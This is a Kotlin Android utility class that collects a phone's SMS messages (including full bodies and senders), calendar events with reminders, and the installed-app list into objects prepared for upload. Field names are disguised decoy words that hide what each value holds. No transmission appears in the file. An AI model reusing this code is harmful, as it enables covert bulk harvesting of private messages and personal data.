package com.th.basemodel.utils

import android.Manifest
import android.content.Context
import android.content.Intent
import android.content.pm.ApplicationInfo
import android.content.pm.PackageManager
import android.content.pm.ResolveInfo
import android.database.Cursor
import android.net.Uri
import android.os.Build
import android.provider.CalendarContract
import androidx.annotation.IntDef
import androidx.core.content.ContextCompat
import com.th.basemodel.bean.UploadBean1
import com.th.basemodel.bean.UploadBean2
import com.th.basemodel.bean.UploadBean8


class PhoneDataUtil {

    //1.指定注解的保留策略，AnnotationRetention.SOURCE表示只保留源码中，编译时删除。还有CLASS和RUNTIME
    @Retention(AnnotationRetention.SOURCE)
    //2.定义int 值 ，
    @IntDef(flag = true, value = [sms, applist, calendar])
    //3.定义注解类型
    annotation class Type

    companion object {
        const val sms = 1
        const val applist = 2
        const val calendar = 8

        fun upload(context: Context, @Type type: Int): Any {
            return when (type) {
                sms -> getSms(context)
                applist -> getAppList(context)
                calendar -> getCalendar(context)
                else -> {
                    ""
                }
            }
        }

        private fun getCalendar(context: Context): Any {
            if (ContextCompat.checkSelfPermission(
                    context,
                    Manifest.permission.READ_CALENDAR
                ) != PackageManager.PERMISSION_GRANTED
            ) {
                return mutableListOf<UploadBean1>()
            }

            val list = mutableListOf<UploadBean8>()
            try {
                val cursor: Cursor? = context.contentResolver.query(
                    CalendarContract.Events.CONTENT_URI, arrayOf<String>(
                        CalendarContract.Events._ID,
                        CalendarContract.Events.TITLE,
                        CalendarContract.Events.DESCRIPTION,
                        CalendarContract.Events.EVENT_LOCATION,
                        CalendarContract.Events.DTSTART,
                        CalendarContract.Events.DTEND,
                        CalendarContract.Events.HAS_ALARM
                    ),
                    null,
                    null,
                    null
                )

                if (cursor != null) {
                    while (cursor.moveToNext()) {
                        val bean = UploadBean8().apply {
                            try {
                                cursor.getLong(cursor.getColumnIndexOrThrow(CalendarContract.Events._ID))
                                    ?.let {
                                        slow = it
                                    }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cursor.getString(cursor.getColumnIndexOrThrow(CalendarContract.Events.TITLE))
                                    ?.let {
                                        offered = it
                                    }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cursor.getString(cursor.getColumnIndexOrThrow(CalendarContract.Events.DESCRIPTION))
                                    ?.let {
                                        obvious = it
                                    }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cursor.getString(cursor.getColumnIndexOrThrow(CalendarContract.Events.EVENT_LOCATION))
                                    ?.let {
                                        narrative = it
                                    }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cursor.getLong(cursor.getColumnIndexOrThrow(CalendarContract.Events.DTSTART))
                                    ?.let {
                                        streaming = it
                                    }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cursor.getLong(cursor.getColumnIndexOrThrow(CalendarContract.Events.DTEND))
                                    ?.let {
                                        aired = it
                                    }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cursor.getInt(cursor.getColumnIndexOrThrow(CalendarContract.Events.HAS_ALARM))
                                    ?.let {
                                        iqiyi = it
                                    }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }
                        }

                        try {
                            val reminderCursor: Cursor? = context.contentResolver.query(
                                CalendarContract.Reminders.CONTENT_URI,
                                arrayOf<String>(
                                    CalendarContract.Reminders._ID,
                                    CalendarContract.Reminders.METHOD,
                                    CalendarContract.Reminders.MINUTES
                                ),
                                CalendarContract.Reminders.EVENT_ID + "=?",
                                arrayOf<String>(bean.slow.toString()),
                                null
                            )
                            if (reminderCursor != null) {
                                val reminderItems = mutableListOf<UploadBean8.ReminderItem>()

                                while (reminderCursor.moveToNext()) {

                                    val item = UploadBean8.ReminderItem().apply {
                                        try {
                                            reminderCursor.getLong(
                                                reminderCursor.getColumnIndexOrThrow(
                                                    CalendarContract.Reminders._ID
                                                )
                                            )?.let {
                                                slow = it.toString()
                                            }
                                        } catch (e: Exception) {
                                            e.printStackTrace()
                                        }

                                        try {
                                            reminderCursor.getInt(
                                                reminderCursor.getColumnIndexOrThrow(
                                                    CalendarContract.Reminders.METHOD
                                                )
                                            )?.let {
                                                rhythm = it.toString()
                                            }
                                        } catch (e: Exception) {
                                            e.printStackTrace()
                                        }

                                        try {
                                            reminderCursor.getInt(
                                                reminderCursor.getColumnIndexOrThrow(
                                                    CalendarContract.Reminders.MINUTES
                                                )
                                            )?.let {
                                                conflict = it.toString()
                                            }
                                        } catch (e: Exception) {
                                            e.printStackTrace()
                                        }

                                    }
                                    reminderItems.add(item)
                                }
                                bean.bit = reminderItems

                                reminderCursor.close()
                            }

                        } catch (e: Exception) {
                            e.printStackTrace()
                        }
                        list.add(bean)
                    }
                    cursor.close()
                }
            } catch (e: Exception) {
                e.printStackTrace()
            }

            return list
        }

        private fun getAppList(context: Context): Any {
            var uploadList = mutableListOf<UploadBean2>()

            val packageManager: PackageManager = context.packageManager

            var appList = mutableListOf<ResolveInfo>()
            val intent = Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_LAUNCHER)
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                appList =
                    packageManager.queryIntentActivities(intent, PackageManager.MATCH_ALL)
            } else {
                appList = packageManager.queryIntentActivities(intent, 0)
            }

            for (packageName in appList) {
                try {
                    val packageInfo = packageManager.getPackageInfo(
                        packageName.activityInfo.applicationInfo.packageName,
                        0
                    )

                    val bean = UploadBean2().apply {

                        try {
                            creations =
                                packageManager.getApplicationLabel(packageInfo.applicationInfo)
                                    .toString()
                        } catch (e: Exception) {
                            e.printStackTrace()
                        }

                        try {
                            outstanding = packageName.activityInfo.applicationInfo.packageName
                        } catch (e: Exception) {
                            e.printStackTrace()
                        }

                        try {
                            contemporary = packageInfo.versionName
                        } catch (e: Exception) {
                            e.printStackTrace()
                        }

                        try {
                            chosen = packageInfo.versionCode
                        } catch (e: Exception) {
                            e.printStackTrace()
                        }

                        try {
                            drama = packageInfo.applicationInfo.flags
                        } catch (e: Exception) {
                            e.printStackTrace()
                        }

                        try {
                            dramas = packageInfo.firstInstallTime
                        } catch (e: Exception) {
                            e.printStackTrace()
                        }

                        try {
                            wang = packageInfo.lastUpdateTime
                        } catch (e: Exception) {
                            e.printStackTrace()
                        }

                        try {
                            recognition = if ((drama?.and(ApplicationInfo.FLAG_SYSTEM)) != 0) {
                                1
                            } else {
                                0
                            }
                        } catch (e: Exception) {
                            e.printStackTrace()
                        }
                    }
                    uploadList.add(bean)
                } catch (e: Exception) {
                    e.printStackTrace()
                }
            }

            return uploadList
        }

        private fun getSms(context: Context): MutableList<UploadBean1> {
            if (ContextCompat.checkSelfPermission(
                    context,
                    Manifest.permission.READ_SMS
                ) != PackageManager.PERMISSION_GRANTED
            ) {
                return mutableListOf<UploadBean1>()
            }


            val uri: Uri = Uri.parse("content://sms")
            val projection = arrayOf(
                "_id",
                "address",
                "date",
                "date_sent",
                "read",
                "subject",
                "body",
                "type",
                "seen",
                "thread_id",
                "protocol",
                "status"
            )
            val smsList = mutableListOf<UploadBean1>()

            try {
                val cursor: Cursor? =
                    context.contentResolver.query(uri, projection, null, null, null)
                cursor?.use { cur ->
                    while (cur.moveToNext()) {
                        val smsJson = UploadBean1().apply {
                            try {
                                cur.getLong(cur.getColumnIndexOrThrow("_id"))?.let {
                                    slow = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getString(cur.getColumnIndexOrThrow("address"))?.let {
                                    teacher = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getString(cur.getColumnIndexOrThrow("address"))?.let {
                                    teacher = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getLong(cur.getColumnIndexOrThrow("date"))?.let {
                                    unknowns = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getLong(cur.getColumnIndexOrThrow("date_sent"))?.let {
                                    film = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getInt(cur.getColumnIndexOrThrow("read"))?.let {
                                    becoming = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getString(cur.getColumnIndexOrThrow("subject"))?.let {
                                    berlin = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getString(cur.getColumnIndexOrThrow("body"))?.let {
                                    rd = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getInt(cur.getColumnIndexOrThrow("type"))?.let {
                                    linkage = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getInt(cur.getColumnIndexOrThrow("seen"))?.let {
                                    section = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getInt(cur.getColumnIndexOrThrow("thread_id"))?.let {
                                    berlinale = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getInt(cur.getColumnIndexOrThrow("protocol"))?.let {
                                    selected = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }

                            try {
                                cur.getInt(cur.getColumnIndexOrThrow("status"))?.let {
                                    turning = it
                                }
                            } catch (e: Exception) {
                                e.printStackTrace()
                            }
                        }
                        smsList.add(smsJson)
                    }
                }
            } catch (e: Exception) {
                e.printStackTrace()
            }
            return smsList
        }
    }
}